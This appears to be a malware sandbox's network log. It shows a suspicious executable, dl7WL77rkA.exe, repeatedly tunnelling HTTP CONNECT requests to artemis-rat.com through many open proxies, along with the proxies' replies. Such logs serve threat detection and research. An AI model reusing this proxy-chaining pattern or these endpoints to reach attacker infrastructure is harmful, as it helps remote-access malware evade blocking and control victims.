Mar 11, 2024 03:30:59.092796087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1148	192.168.2.5	53166	23.95.209.142	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.444675922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1149	192.168.2.5	52411	194.31.79.75	31471	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.445240974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.498722076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.595431089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.702192068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1150	192.168.2.5	53048	143.64.8.21	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.446599007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1151	192.168.2.5	53150	92.204.134.38	29718	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.450628996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.093033075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.905127048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.389689922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1152	192.168.2.5	53082	65.21.255.197	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.454399109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.777761936 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Length: 0
Mar 11, 2024 03:30:43.108834982 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1153	192.168.2.5	52544	116.106.105.55	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.458671093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1154	192.168.2.5	53179	52.73.224.54	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.458918095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.675970078 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:42 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1155	192.168.2.5	53115	158.247.207.153	3030	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.465991020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.843049049 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1156	192.168.2.5	53059	61.178.152.31	7302	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.467132092 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:42.816929102 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1157	192.168.2.5	53027	60.211.195.150	10800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.468276978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1158	192.168.2.5	52428	138.36.150.26	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.472667933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1159	192.168.2.5	53254	12.186.205.123	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.478467941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1160	192.168.2.5	52986	103.231.45.145	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.503216982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1161	192.168.2.5	53222	92.204.134.38	54467	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.504647970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1162	192.168.2.5	53093	43.255.113.232	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.504955053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1163	192.168.2.5	51421	212.110.188.204	34411	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.510854959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.498836040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.595442057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.702203035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1164	192.168.2.5	53088	103.76.180.108	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.510857105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.355074883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.446400881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702435017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.108190060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.462961912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.811486959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.253346920 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1165	192.168.2.5	53265	38.54.6.39	9080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.525394917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.743761063 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1166	192.168.2.5	53053	45.251.231.113	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.527617931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1167	192.168.2.5	53255	45.196.148.192	5432	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.528561115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.762351036 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1168	192.168.2.5	53277	104.19.225.70	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.539269924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.693546057 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1169	192.168.2.5	53278	104.24.220.52	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.540076971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.694797039 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1170	192.168.2.5	53191	200.10.73.210	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.540460110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1171	192.168.2.5	51428	212.127.93.185	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.541166067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1172	192.168.2.5	53122	188.173.14.99	40666	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.541733980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.389265060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.405596018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405667067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.405266047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.910657883 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1173	192.168.2.5	53157	170.64.222.141	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.555176973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.874773979 CET	32	IN	HTTP/1.0 504 Gateway Timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1174	192.168.2.5	53199	46.182.6.69	36112	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.555771112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1175	192.168.2.5	53248	13.208.168.179	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.555773973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.824778080 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:42 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1176	192.168.2.5	53132	210.72.11.46	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.556129932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.936203957 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1177	192.168.2.5	53201	196.20.125.129	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.556699038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1178	192.168.2.5	53136	148.72.209.174	2906	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.564893007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.355210066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.446161032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.514698029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.723165035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.905190945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.108283997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1179	192.168.2.5	52326	120.194.4.157	82	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
